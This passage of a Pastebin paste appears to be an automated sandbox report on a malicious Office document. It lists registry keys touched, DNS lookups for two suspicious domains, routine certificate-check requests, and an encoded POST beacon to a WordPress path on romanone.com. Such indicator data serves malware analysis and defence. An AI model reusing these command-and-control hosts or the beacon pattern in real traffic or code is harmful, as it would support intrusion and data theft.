  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1812. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3"
  1813.  
  1814.  
  1815. * Deleted Registry Keys:
  1816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\7o:",
  1817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\s$8",
  1818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\10F5394\\1300D0C",
  1823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\10F5394\\10F5394"
  1824.  
  1825.  
  1826. * DNS Communications:
  1827.  
  1828. "type": "A",
  1829. "request": "hirecarvietnam.com",
  1830. "answers":
  1831.  
  1832. "data": "163.44.207.86",
  1833. "type": "A"
  1834.  
  1835.  
  1836.  
  1837.  
  1838. "type": "A",
  1839. "request": "romanone.com",
  1840. "answers":
  1841.  
  1842. "data": "195.201.152.3",
  1843. "type": "A"
  1844.  
  1845.  
  1846.  
  1847.  
  1848.  
  1849. * Domains:
  1850.  
  1851. "ip": "163.44.207.86",
  1852. "domain": "hirecarvietnam.com"
  1853.  
  1854.  
  1855. "ip": "195.201.152.3",
  1856. "domain": "romanone.com"
  1857.  
  1858.  
  1859.  
  1860. * Network Communication - ICMP:
  1861.  
  1862. * Network Communication - HTTP:
  1863.  
  1864. "count": 1,
  1865. "body": "",
  1866. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1867. "user-agent": "Microsoft-CryptoAPI/6.1",
  1868. "method": "GET",
  1869. "host": "ocsp.digicert.com",
  1870. "version": "1.1",
  1871. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  1872. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  1873. "port": 80
  1874.  
  1875.  
  1876. "count": 1,
  1877. "body": "",
  1878. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1879. "user-agent": "Microsoft-CryptoAPI/6.1",
  1880. "method": "GET",
  1881. "host": "ocsp.msocsp.com",
  1882. "version": "1.1",
  1883. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  1884. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  1885. "port": 80
  1886.  
  1887.  
  1888. "count": 1,
  1889. "body": "",
  1890. "uri": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  1891. "user-agent": "Microsoft-CryptoAPI/6.1",
  1892. "method": "GET",
  1893. "host": "ocsp.usertrust.com",
  1894. "version": "1.1",
  1895. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  1896. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D HTTP/1.1\r\nCache-Control: max-age = 94765\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.usertrust.com\r\n\r\n",
  1897. "port": 80
  1898.  
  1899.  
  1900. "count": 1,
  1901. "body": "",
  1902. "uri": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEQDwHUvue3yjezwFZqwFlyRY",
  1903. "user-agent": "Microsoft-CryptoAPI/6.1",
  1904. "method": "GET",
  1905. "host": "ocsp.comodoca.com",
  1906. "version": "1.1",
  1907. "path": "/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEQDwHUvue3yjezwFZqwFlyRY",
  1908. "data": "GET /MFIwUDBOMEwwSjAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEQDwHUvue3yjezwFZqwFlyRY HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
  1909. "port": 80
  1910.  
  1911.  
  1912. "count": 6,
  1913. "body": "",
  1914. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  1915. "user-agent": "Microsoft-CryptoAPI/6.1",
  1916. "method": "GET",
  1917. "host": "crl.microsoft.com",
  1918. "version": "1.1",
  1919. "path": "/pki/crl/products/microsoftrootcert.crl",
  1920. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1921. "port": 80
  1922.  
  1923.  
  1924. "count": 1,
  1925. "body": "",
  1926. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  1927. "user-agent": "Microsoft-CryptoAPI/6.1",
  1928. "method": "GET",
  1929. "host": "crl.microsoft.com",
  1930. "version": "1.1",
  1931. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  1932. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1933. "port": 80
  1934.  
  1935.  
  1936. "count": 2,
  1937. "body": "",
  1938. "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
  1939. "user-agent": "Microsoft-CryptoAPI/6.1",
  1940. "method": "GET",
  1941. "host": "crl.microsoft.com",
  1942. "version": "1.1",
  1943. "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
  1944. "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1945. "port": 80
  1946.  
  1947.  
  1948. "count": 1,
  1949. "body": "J/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
  1950. "uri": "http://romanone.com:443/wp-content/okoye/32/index.php",
  1951. "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  1952. "method": "POST",
  1953. "host": "romanone.com",
  1954. "version": "1.0",
  1955. "path": "/wp-content/okoye/32/index.php",
  1956. "data": "POST /wp-content/okoye/32/index.php HTTP/1.0\r\nHost: romanone.com\r\nConnection: close\r\nUser-agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)\r\nContent-Length: 105\r\n\r\nJ/\\xfb5/\\xfb<L\\x8a(9\\xf0N/\\xfb;/\\xfaI/\\xfb=H\\x8aH/\\xfb;O\\xed>;\\xed>2\\xed?N\\xed><\\x8eN/\\xfb4H\\xed>?\\x8cO/\\xfaI/\\xfb8/\\xfb>/\\xfb;N\\x89(9\\xfc(9\\xfd(9\\xfd(8\\x8c(9\\xf1(9\\xfb(9\\xfb(9\\xf1(9\\xfc(9\\xfe(9\\xff(9\\xfa(9\\xfe",
  1957. "port": 443
  1958.  
  1959.  
  1960.  
  1961. * Network Communication - SMTP:
  1962.  
  1963. * Network Communication - Hosts:
  1964.  
  1965. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!